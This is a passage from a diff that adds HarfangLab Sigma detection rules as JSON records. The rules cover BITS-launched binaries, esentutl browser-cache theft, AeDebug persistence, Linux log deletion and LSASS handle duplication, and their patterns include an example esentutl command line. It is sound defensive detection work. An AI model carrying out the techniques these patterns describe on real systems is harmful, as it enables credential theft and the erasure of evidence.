'?:\\windows\\System32\\svchost.exe -k netsvcs -p -s BITS'\n        ParentCommandLine: '?:\\windows\\System32\\svchost.exe -k netsvcs -p -s BITS'\n\n    exclusion_programfiles:\n        Image|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_directxdatabaseupdater.exe:\n        # C:\\Windows\\System32\\directxdatabaseupdater.exe\n        Image|endswith: '\\directxdatabaseupdater.exe'\n        OriginalFileName: 'DirectXDatabaseUpdater.exe'\n\n    exclusion_werfault:\n        Image|endswith: '\\WerFault.exe'\n        CommandLine|contains: '\\WerFault.exe -u -p '\n        OriginalFileName: 'WerFault.exe'\n        Signed: 'true'\n\n    exclusion_mcafee:\n        # McAfee WebAdvisor(bootstrap installer)   (SaBsi module)\n        ProcessSignature:\n            - 'McAfee, Inc.'\n            - 'McAfee, LLC'\n            - 'MUSARUBRA US LLC'  # new signer name for mcafee/trellix it seems\n\n    exclusion_yandex:\n        Image|endswith: '\\Yandex\\YandexBrowser\\Application\\browser.exe'\n        Signed: 'true'\n        ProcessSignature: 'YANDEX LLC'\n\n    exclusion_opera_setup:\n        Image|endswith: '\\OperaSetup.exe'\n        Signed: 'true'\n        Signature: 'Opera Norway AS'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "24693ed1-f629-47e5-bb5e-0ce442188fe9",
+  "rule_name": "Suspicious Binary Launched via BITS",
+  "rule_description": "Detects execution of suspicious binary launched by BITS.\nThis is typically the case of programs set to execute via the SetNotifyCmdline method from IBackgroundCopyManager interface.\nThis method is often used by attackers to download malicious files, exfiltrate data or maintain persistence.\nIt is recommended to investigate the created process for suspicious activities.\n",
+  "rule_creation_date": "2021-07-30",
+  "rule_modified_date": "2025-04-15",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1105",
+    "attack.t1197"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "248a91c7-af38-4792-8ffb-942e6e7ce41b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.611456Z",
+  "creation_date": "2026-03-23T11:45:34.611459Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.611466Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.microsoft.com/security/blog/2021/12/09/a-closer-look-at-qakbots-latest-building-blocks-and-how-to-knock-them-down/",
+    "https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/",
+    "https://www.trendmicro.com/fr_fr/research/21/g/tracking_cobalt_strike_a_vision_one_investigation.html",
+    "https://attack.mitre.org/techniques/T1005/"
+  ],
+  "name": "t1005_suspicious_browser_data_theft.yml",
+  "content": "title: Possible Browser Data Theft via Esentutl\nid: 248a91c7-af38-4792-8ffb-942e6e7ce41b\ndescription: |\n    Detects the suspicious execution of the legitimate esentutl.exe Windows binary to collect browser data from Internet Explorer and Microsoft Edge via the web cache.\n    The Qakbot malware is known to use this technique to steal sensitive information.\n    It is recommended to analyze the process responsible for the execution of Esentutl to determine whether its usage is legitimate.\nreferences:\n    - https://www.microsoft.com/security/blog/2021/12/09/a-closer-look-at-qakbots-latest-building-blocks-and-how-to-knock-them-down/\n    - https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/\n    - https://www.trendmicro.com/fr_fr/research/21/g/tracking_cobalt_strike_a_vision_one_investigation.html\n    - https://attack.mitre.org/techniques/T1005/\ndate: 2022/04/22\nmodified: 2025/04/11\nauthor: HarfangLab\ntags:\n    - attack.collection\n    - attack.t1005\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Esentutl\n    - classification.Windows.Behavior.SensitiveInformation\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.Collection\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        Image|endswith: '\\esentutl.exe'\n        # esentutl.exe /r V01 /lC:\\Users\\xxx\\AppData\\Local\\Microsoft\\Windows\\WebCache /sC:\\Users\\xxx\\AppData\\Local\\Microsoft\\Windows\\WebCache /dC:\\Users\\xxx\\AppData\\Local\\Microsoft\\Windows\\WebCache\n        CommandLine|contains|all:\n            - 'esentutl.exe'\n            - ' /r V01 '\n            - ' /l'\n            - ' /s'\n            - ' /d'\n            - '\\AppData\\Local\\Microsoft\\Windows\\WebCache'\n    condition: selection\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "248a91c7-af38-4792-8ffb-942e6e7ce41b",
+  "rule_name": "Possible Browser Data Theft via Esentutl",
+  "rule_description": "Detects the suspicious execution of the legitimate esentutl.exe Windows binary to collect browser data from Internet Explorer and Microsoft Edge via the web cache.\nThe Qakbot malware is known to use this technique to steal sensitive information.\nIt is recommended to analyze the process responsible for the execution of Esentutl to determine whether its usage is legitimate.\n",
+  "rule_creation_date": "2022-04-22",
+  "rule_modified_date": "2025-04-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection"
+  ],
+  "rule_technique_tags": [
+    "attack.t1005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "24914a2f-f501-410c-8f63-d70ae6a01f4d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.617329Z",
+  "creation_date": "2026-03-23T11:45:34.617331Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.617335Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://persistence-info.github.io/Data/aedebug.html",
+    "https://docs.microsoft.com/en-us/windows/win32/debug/configuring-automatic-debugging",
+    "https://attack.mitre.org/techniques/T1546/"
+  ],
+  "name": "t1546_persistence_aedebug.yml",
+  "content": "title: Possible AeDebug Persistence Added\nid: 24914a2f-f501-410c-8f63-d70ae6a01f4d\ndescription: |\n    Detects the creation or modification of the AeDebug registry key to enable debugger execution on application crashes.\n    Attackers can set this registry value to point to a malicious payload to achieve persistence.\n    It is recommended to investigate whether the debugger specified under the AeDebug registry key is legitimate and authorized.\nreferences:\n    - https://persistence-info.github.io/Data/aedebug.html\n    - https://docs.microsoft.com/en-us/windows/win32/debug/configuring-automatic-debugging\n    - https://attack.mitre.org/techniques/T1546/\ndate: 2022/07/20\nmodified: 2025/02/13\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1546\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\AeDebug\\Debugger'\n\n    filter_empty:\n        Details:\n            - '(Empty)'\n            - ''\n            - '\"\"'\n\n    exclusion_debuggers:\n        Details|contains:\n            - 'windbg.exe'\n            - 'vsjitdebugger.exe'\n\n    exclusion_piksels_digital_signage_debug:\n        ProcessImage: '?:\\Program Files\\Digital signage ??\\kspAdminService.exe'\n        Details|contains: '?:\\Program Files\\Digital signage 11\\ntsd.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "24914a2f-f501-410c-8f63-d70ae6a01f4d",
+  "rule_name": "Possible AeDebug Persistence Added",
+  "rule_description": "Detects the creation or modification of the AeDebug registry key to enable debugger execution on application crashes.\nAttackers can set this registry value to point to a malicious payload to achieve persistence.\nIt is recommended to investigate whether the debugger specified under the AeDebug registry key is legitimate and authorized.\n",
+  "rule_creation_date": "2022-07-20",
+  "rule_modified_date": "2025-02-13",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1546"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "249d762f-c5a2-406d-acf3-071a10d93210",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.297021Z",
+  "creation_date": "2026-03-23T11:45:35.297023Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.297028Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://atomicredteam.io/defense-evasion/T1070.002/",
+    "https://attack.mitre.org/techniques/T1070/002/"
+  ],
+  "name": "t1070_002_system_logs_removed_cli_linux.yml",
+  "content": "title: System Logs Removed via Command-line\nid: 249d762f-c5a2-406d-acf3-071a10d93210\ndescription: |\n    Detects an attempt to remove any of the system's logs.\n    Attackers can try to remove the system's logs to hide their tracks.\n    It is recommended to investigate responsible for this action and to look for other malicious actions stemming from it.\nreferences:\n    - https://atomicredteam.io/defense-evasion/T1070.002/\n    - https://attack.mitre.org/techniques/T1070/002/\ndate: 2023/01/03\nmodified: 2026/03/10\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1070.002\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Behavior.Deletion\n    - classification.Linux.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    selection_bin:\n        Image|endswith:\n            - '/rm'\n            - '/unlink'\n            - '/shred'\n            - '/truncate'\n        ParentImage|contains: '?'\n\n    selection_files:\n        CommandLine|contains:\n            - 'auth.log'\n            - 'boot.log'\n            - 'history.log'\n            - 'cron.log'\n            - 'dmesg'\n            - 'dpkg.log'\n            - 'kern.log'\n            - 'messages'\n            - 'secure'\n            - 'syslog'\n            - 'utmp'\n            - 'wtmp'\n            - 'journal'\n\n    selection_command:\n        CommandLine|contains:\n            - '/var/log'\n            - '/var/logs'\n            - '/var/audit'\n            - '/run/log/journal'\n\n    selection_directory:\n        CurrentDirectory|contains:\n            - '/var/log/'\n            - '/var/logs/'\n            - '/var/audit/'\n            - '/run/log/journal/'\n\n    filter_slash:\n        CommandLine|contains: ' /'\n\n    exclusion_cron:\n        - ParentImage:\n            - '/usr/sbin/cron'\n            - '/usr/sbin/crond'\n        - Ancestors|contains:\n            - '|/usr/sbin/cron|'\n            - '|/usr/sbin/crond|'\n\n    exclusion_docker:\n        - GrandparentCommandLine|startswith:\n            - '/bin/sh /usr/bin/docker-containerd-shim '\n            - '/usr/bin/docker-containerd-shim-current '\n            - '/usr/libexec/docker/docker-runc-current '\n        - Ancestors|contains:\n            - '|/usr/bin/dockerd|'\n            - '|/usr/bin/containerd-shim-runc-v2|'\n\n    exclusion_debian_installer:\n        - ParentImage: '/usr/bin/dpkg'\n        - ProcessAncestors|contains: '|/usr/bin/dpkg|'\n\n    exclusion_savelog:\n        CommandLine: 'rm -f -- /var/log//dmesg.? /var/log//dmesg.?.gz'\n        ParentCommandLine|contains|all:\n            - 'savelog'\n            - '/var/log/dmesg'\n        GrandparentImage|endswith: '/systemd'\n\n    exclusion_genesys:\n        CommandLine|contains: 'rm -f *.log.gz'\n        ParentCommandLine|contains: '/opt/genesys/logcompress.sh'\n\n    exclusion_apt:\n        Image:\n            - '/usr/bin/apt-get'\n            - '/usr/bin/apt'\n\n    exclusion_pmlogger:\n        - ParentCommandLine|contains:\n            - '/bin/sh /usr/libexec/pcp/bin/pmlogger_daily'\n            - '/bin/sh /usr/libexec/pcp/bin/pmlogger_check'\n            - '/bin/sh /usr/lib/pcp/bin/pmlogger_daily'\n            - '/bin/sh /usr/lib/pcp/bin/pmlogger_check'\n        - GrandparentCommandLine|contains:\n            - '/bin/sh /usr/libexec/pcp/bin/pmlogger_daily'\n            - '/bin/sh /usr/libexec/pcp/bin/pmlogger_check'\n            - '/bin/sh /usr/lib/pcp/bin/pmlogger_daily'\n            - '/bin/sh /usr/lib/pcp/bin/pmlogger_check'\n\n    exclusion_insights:\n        CommandLine|contains: '/usr/bin/python /usr/bin/insights-client'\n\n    exclusion_yum:\n        GrandparentCommandLine|startswith: '/usr/libexec/platform-python /bin/yum'\n\n    exclusion_intertel:\n        - ParentCommandLine|contains: '/opt/intertel/bin/findcore'\n        - GrandparentCommandLine|contains: '/opt/intertel/bin/findcore'\n\n    exclusion_mbgui:\n        GrandparentCommandLine: 'runsv mbgui'\n\n    exclusion_nagios_group:\n        ProcessGroup: 'nagios'\n        ProcessAncestors|contains:\n            - '/crond|'\n            - '/naemon|'\n\n    exclusion_nagios:\n        - ParentCommandLine|contains:\n            - 'check_scan_spal.sh'\n            - 'check_snmp_svc'\n            - 'check_snmp_load'\n        - GrandparentCommandLine|contains:\n            - 'check_scan_spal.sh'\n            - 'check_snmp_svc'\n            - 'check_snmp_load'\n        - ParentCommandLine|startswith:\n            - '/bin/sh /srv/tomcat/scripts/'\n            - '/bin/bash /srv/tomcat/scripts/'\n        - GrandparentCommandLine|startswith:\n            - '/bin/sh /srv/tomcat/scripts/'\n            - '/bin/bash /srv/tomcat/scripts/'\n\n    exclusion_popularity_contest:\n        - ParentCommandLine: '/bin/sh /etc/cron.daily/popularity-contest'\n        - GrandparentCommandLine: '/bin/sh /etc/cron.daily/popularity-contest'\n\n    exclusion_moodle_sortlogs:\n        ParentCommandLine: 'bash /usr/local/bin/moodle_sortlogs /var/log/moodle/cron /var/log/moodle'\n\n    exclusion_pmcd:\n        ParentCommandLine:\n            - '/bin/sh /usr/libexec/pcp/lib/pmcd start-systemd'\n            - '/bin/sh /usr/share/pcp/lib/pmcd start'\n\n    exclusion_qradar:\n        ParentCommandLine|contains:\n            - '--login /opt/qradar/perf/systemStabMon -interval ??'\n            - '/opt/qradar/bin/check_date_change.sh'\n\n    exclusion_logrote:\n        - ProcessParentImage: '/usr/sbin/logrotate'\n        - ProcessAncestors|contains: '|/usr/sbin/logrotate|'\n\n    exclusion_eset:\n        ProcessAncestors|contains: '|/opt/eset/RemoteAdministrator/Agent/ERAAgent|'\n\n    exclusion_purge:\n        ProcessImage:\n            - '/bin/rm'\n            - '/usr/bin/rm'\n        ProcessParentImage:\n            - '/bin/find'\n            - '/usr/bin/find'\n        ProcessParentCommandLine|contains|all:\n            - ' -mtime '\n            - ' -exec '\n\n    condition: selection_bin and selection_files and (selection_command or (selection_directory and not filter_slash)) and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "249d762f-c5a2-406d-acf3-071a10d93210",
+  "rule_name": "System Logs Removed via Command-line",
+  "rule_description": "Detects an attempt to remove any of the system's logs.\nAttackers can try to remove the system's logs to hide their tracks.\nIt is recommended to investigate responsible for this action and to look for other malicious actions stemming from it.\n",
+  "rule_creation_date": "2023-01-03",
+  "rule_modified_date": "2026-03-10",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1070.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "24c0c873-a33d-4075-bcfe-ed95f209f435",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.085199Z",
+  "creation_date": "2026-03-23T11:45:34.085201Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.085206Z",
+  "rule_level": "critical",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://rastamouse.me/dumping-lsass-with-duplicated-handles/",
+    "https://github.com/fortra/nanodump?tab=readme-ov-file#handle-duplication"
+  ],
+  "name": "t1003_001_lsass_handle_duplicated.yml",
+  "content": "title: Lsass Handle with VM Read Granted Access Duplicated\nid: 24c0c873-a33d-4075-bcfe-ed95f209f435\ndescription: |\n    Detects LSASS handle duplication with PROCESS_VM_READ access rights targeting credential extraction.\n    The Local Security Authority Subsystem Service (LSASS) is a critical Windows process that handles authentication. Threat actors frequently target LSASS to extract credentials stored in memory.\n    Handle duplication is a technique where attackers duplicate an existing handle to LSASS rather than directly opening a new handle, which can be more evasive against security solutions. Tools like Nanodump leverage this approach to dump LSASS memory while avoiding detection by antivirus and endpoint detection and response (EDR) systems.\n    It is recommended to investigate the parent process and command line arguments of the process performing the handle duplication, check for additional suspicious activities in the process tree, and validate whether the process has legitimate reasons to access LSASS memory.\nreferences:\n    - https://rastamouse.me/dumping-lsass-with-duplicated-handles/\n    - https://github.com/fortra/nanodump?tab=readme-ov-file#handle-duplication\ndate: 2025/04/29\nmodified: 2026/02/23\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.001\n    - classification.Windows.Source.ProcessDuplicateHandle\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.LSASSAccess\nlogsource:\n    product: windows\n    category: process_duplicate_handle\ndetection:\n    selection:\n        TargetImage|endswith: '\\lsass.exe'\n        GrantedAccessStr|contains: 'PROCESS_VM_READ'\n        AgentVersion|gte|version: 4.9.0\n\n    exclusion_csrss:\n        CallerImage:\n            - '?:\\Windows\\System32\\csrss.exe'\n            - '\\Device\\HarddiskVolume*\\Windows\\System32\\csrss.exe'\n            - '\\Device\\VhdHardDisk*\\Windows\\System32\\csrss.exe'\n        CallerIsDestination: true\n        ProcessSignature:\n            - 'Microsoft Windows'\n            - 'Microsoft Windows Publisher'\n        ProcessSigned: 'true'\n\n    exclusion_hp:\n        CallerImage: '?:\\Program Files\\HP\\Sure Click\\bin\\Br-init-o.exe'\n        ProcessSignature|contains: 'Bromium'\n        ProcessSigned: 'true'\n\n    exclusion_kaspersky:\n        CallerImage|startswith: '?:\\Program Files (x86)\\Kaspersky Lab\\'\n        ProcessSignature|contains: 'Kaspersky Lab'\n        ProcessSigned: 'true'\n\n    exclusion_nable:\n        CallerImage|startswith: '?:\\Program Files (x86)\\N-able Technologies\\'\n        ProcessSignature:\n            - 'N-ABLE TECHNOLOGIES LTD'\n            - 'Solarwinds Worldwide, LLC'\n        ProcessSigned: 'true'\n\n    exclusion_werfault:\n        CallerImage|startswith:\n            - '?:\\Windows\\SysWOW64\\WerFault.exe'\n            - '?:\\Windows\\System32\\WerFault.exe'\n            - '?:\\Windows\\System32\\WerFaultSecure.exe'\n            - '?:\\Windows\\SysWOW64\\WerFaultSecure.exe'\n        ProcessSignature:\n            - 'Microsoft Windows'\n            - 'Microsoft Windows Publisher'\n        ProcessSigned: 'true'\n\n    exclusion_werfault_commandline:\n        ProcessCommandLine: '?:\\windows\\System32\\svchost.exe -k WerSvcGroup'\n        ProcessSignature:\n            - 'Microsoft Windows'\n            - 'Microsoft Windows Publisher'\n        ProcessSigned: 'true'\n\n    exclusion_windows_task_tools:\n        CallerImage:\n            - '?:\\Windows\\System32\\tasklist.exe'\n            - '?:\\Windows\\System32\\taskkill.exe'\n            - '?:\\Windows\\System32\\Taskmgr.exe.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    exclusion_sentinelone:\n        CallerImage|startswith: '?:\\Program Files\\SentinelOne\\'\n        ProcessSignature: 'Sentinelone, Inc.'\n        ProcessSigned: 'true'\n\n    exclusion_perfmon:\n        CallerImage: '?:\\Windows\\System32\\perfmon.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ProcessSigned: 'true'\n\n    exclusion_windows_cluster_binaries:\n        ProcessOriginalFileName:\n            - 'rhs.exe'\n            - 'clussvc.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ProcessSigned: 'true'\n\n    exclusion_checkpoint:\n        CallerImage|startswith: '?:\\Program Files (x86)\\CheckPoint\\'\n        ProcessSignature: 'Check Point Software Technologies Ltd.'\n        ProcessSigned: 'true'\n\n    exclusion_dnspy:\n        ProcessSha256:\n            - '6674538f0c1bfb2b02921aebea81654dd196efbfe520c1c34d4872908a205a9d'\n            - 'bc1c4e0fc49c138bbfc223d3e94231cd4884439c663646d91e48fa005df6704a'\n\n    exclusion_pythonservice:\n        ProcessSha256: '29a187322c91af564eb259b6b2834d0530d9c7bf0f7c7e42a1c911679cdb745e'\n\n    # Covered by another specific rule\n    exclusion_procdump:\n        ProcessOriginalFileName:\n            - 'procdump.exe'\n            - 'procdump'\n        ProcessSignature: 'Microsoft Corporation'\n        ProcessSigned: 'true'\n\n    # Covered by another specific rule\n    exclusion_rdrleakdiag:\n        CallerImage: '?:\\Windows\\System32\\rdrleakdiag.exe'\n        ProcessSignature:\n            - 'Microsoft Corporation'\n            - 'Microsoft Windows'\n            - 'Microsoft Windows Publisher'\n        ProcessSigned: 'true'\n\n    # This is handled by the rule 78397a73-7ba5-4e02-8847-6a3242d29f28\n    exclusion_taskmgr:\n        CallerImage: '?:\\Windows\\System32\\Taskmgr.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ProcessSigned: 'true'\n\n    exclusion_sccm:\n        CallerImage: '?:\\Windows\\CCM\\CcmExec.exe'\n        ProcessSignature: 'Microsoft Corporation'\n        ProcessSigned: 'true'\n\n    exclusion_adobe:\n        ProcessOriginalFileName: 'Creative Cloud.exe'\n        ProcessSignature: 'Adobe Inc.'\n        ProcessSigned: 'true'\n\n    exclusion_elastic:\n        CallerImage: '?:\\Program Files\\Elastic\\Endpoint\\elastic-endpoint.exe'\n        ProcessSignature: 'Elasticsearch, Inc.'\n        ProcessSigned: 'true'\n\n    exclusion_internet_explorer:\n        CallerImage: '?:\\Program Files\\Internet Explorer\\iexplore.exe'\n        ProcessSignature: 'Microsoft Corporation'\n        ProcessSigned: 'true'\n\n    exclusion_alibaba:\n        CallerImage|startswith: '?:\\Program Files (x86)\\AlibabaProtect\\'\n        ProcessSignature: 'ALIBABA (CHINA) NETWORK TECHNOLOGY CO.,LTD.'\n        ProcessSigned: 'true'\n\n    exclusion_mcafee:\n        CallerImage|startswith: '?:\\Program Files\\McAfee\\'\n        ProcessSignature|contains: 'McAfee, Inc.'\n        ProcessSigned: 'true'\n\n    exclusion_fsecure:\n        CallerImage|startswith: '?:\\Program Files (x86)\\F-Secure\\'\n        ProcessSignature|contains: 'WithSecure Oyj'\n        ProcessSigned: 'true'\n\n    exclusion_lsass:\n        CallerImage|startswith: '?:\\Windows\\system32\\lsass.exe'\n        ProcessSigned: 'true'\n\n    exclusion_wsmprovhost_to_itself:\n        CallerImage: '?:\\Windows\\System32\\wsmprovhost.exe'\n        SourceImage: '?:\\Windows\\System32\\wsmprovhost.exe'\n\n    exclusion_powershell_to_itself:\n        - CallerImage: '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n          SourceImage: '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n        - CallerImage: '?:\\Program Files\\PowerShell\\7\\pwsh.exe'\n          SourceImage: '?:\\Program Files\\PowerShell\\7\\pwsh.exe'\n\n    exclusion_powertoys:\n        ProcessOriginalFileName: 'PowerToys.FileLocksmithUI.dll'\n        ProcessSignature: 'Microsoft Corporation'\n        ProcessSigned: 'true'\n\n    exclusion_fileassassin:\n        ProcessOriginalFileName: 'FileASSASSIN.exe'\n        ProcessCompany: 'Malwarebytes'\n\n    exclusion_setup:\n        ProcessOriginalFileName: 'SetupHost.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ProcessSigned: 'true'\n\n    exclusion_symantec:\n        CallerImage: '?:\\Program Files (x86)\\Common Files\\Symantec Shared\\COH\\COH64.exe'\n        ProcessSignature: 'Symantec Corporation'\n        ProcessSigned: 'true'\n\n    exclusion_jetbrains:\n        ProcessOriginalFileName: 'JetBrains.ReSharperUltimate.LightInstaller'\n        ProcessSignature: 'JetBrains s.r.o.'\n        ProcessSigned: 'true'\n\n    exclusion_system_informer:\n        ProcessOriginalFileName: 'System Informer.exe'\n        ProcessSignature: 'Winsider Seminars & Solutions Inc.'\n        ProcessSigned: 'true'\n\n\n    condition: selection and not 1 of exclusion_*\nlevel: critical\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "24c0c873-a33d-4075-bcfe-ed95f209f435",
+  "rule_name": "Lsass Handle with VM Read Granted Access Duplicated",
+  "rule_description": "Detects LSASS handle duplication with PROCESS_VM_READ access rights targeting credential extraction.\nThe Local Security Authority Subsystem Service (LSASS) is a critical Windows process that handles authentication. Threat actors frequently target LSASS to extract credentials stored in memory.\nHandle duplication is a technique where attackers duplicate an existing handle to LSASS rather than directly opening a new handle, which can be more evasive against security solutions. Tools like Nanodump leverage this approach to dump LSASS memory while avoiding detection by antivirus and endpoint detection and response (EDR) systems.\nIt is recommended to investigate the parent process and command line arguments of the process performing the handle duplication, check for additional suspicious activities in the process tree, and validate whether the process has legitimate reasons to access LSASS memory.\n",
+  "rule_creation_date": "2025-04-29",
+  "rule_modified_date": "2026-02-23",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "24ca43a5-7027-4676-8c7f-991dff78cc7c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
